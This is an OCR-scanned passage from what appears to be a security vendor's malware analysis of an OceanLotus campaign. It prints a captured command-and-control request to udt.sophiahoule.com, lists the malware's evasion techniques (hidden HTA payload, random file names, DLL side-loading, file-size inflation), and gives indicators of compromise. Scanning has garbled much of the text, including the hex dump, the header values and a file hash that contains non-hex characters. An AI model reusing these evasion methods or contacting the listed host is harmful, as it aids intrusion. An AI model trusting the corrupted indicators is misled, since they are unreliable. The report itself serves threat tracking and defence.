00000336 52 BO B3 2E C9 BO A9 B3 54 BO B3 2E C9 BO 52 69  R°%.E°®3T°° E°Ri
00000352 63 68 B2 2E C9 BO 00 00 00 00 OO0 OO0 00 00 00 00 c¢hZ.E®..........
ooooo3e8 OO0 00 00 00 00 OO0 00 00 00 00 00 00 00 00 55 3F ) ..., ...., uz

Figure 3.8 Contents of rasman.db3

Then it connects to udt.sophiahoule.com and establish C2 communication, which eventually causes the computer

to be controlled:

POST /12/1081916-Evuy-Buop-Edaam-Lait-Kh HTTP/1.1

Host: udt.sophiahoule.com

User-Agent: Mozilla/4.8 (compatible; MSIE 8.8; Windows NT 6.8; Trident/4.@)
Accept: */*

Accept-Encoding: deflate, gzip

Referer: http://udt.sophiahoule.com/13/181916-Evuy-Buop-Edaam-Lait-Kh
Content-Length: 53

Content-Type: application/x-www-form-urlencoded

{*h#Bconcaaon Bc= qoooaocc
".I.4...7/a..jp.-Z K~..6..HTTP/1.1 200 OK
Server: Apache/2.4.9
Set-Cookie: PHPSESSID=C2M7HE7LWWNUASGP7BDHDFLONFY3G;

Connection: close

Figure 3.9 Captured network packets
The characteristics of this malicious code:
1. Insert the encrypted data to the end of the hta script to avoid the existence of multiple files.

2. The released files are randomly named according to the file name and file description selected from the

compromised computer, so as to avoid being easily acquired in forensics.

3. Only select one of the dll files while performing DLL Side-Loading, and fill the exe entry point with junk

code and then do a jump operation to avoid stack traceback.

4. Enlarge the file size to avoid being uploaded automatically.

Conclusion
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The OceanLotus reflects a very strong confrontational ability and willing to attack by keep evolving their
techniques, including approaches to deliver bait documents, changes of the payloads, measures in circumvention,
as well as domain assets, no matter the target is domestic or overseas. Due to the transnational nature of most APT
groups, it is difficult to eliminate threats from the root cause. Therefore, tracking these APT attacks and adopting
confrontation measures will exist for a long time. All we can do is to continuously improve our own discovery and

containment capabilities, then will be able to overwhelming opponents technically.

At present, all QiAnXin products can protect users from this new attack carried out by OceanLotus.

10C

Bait Document
0dd468ee3adec0f6f84473bd8428alel
Loader
b28c80ca9a3b7deb09b275af1076eb55
C2

udt.sophiahoule.com

Source: https://ti.qianxin.com/blog/articles/english-version-of-new-approaches-utilized-by-oceanLotus-to-target-vietnamese-environmentalist/
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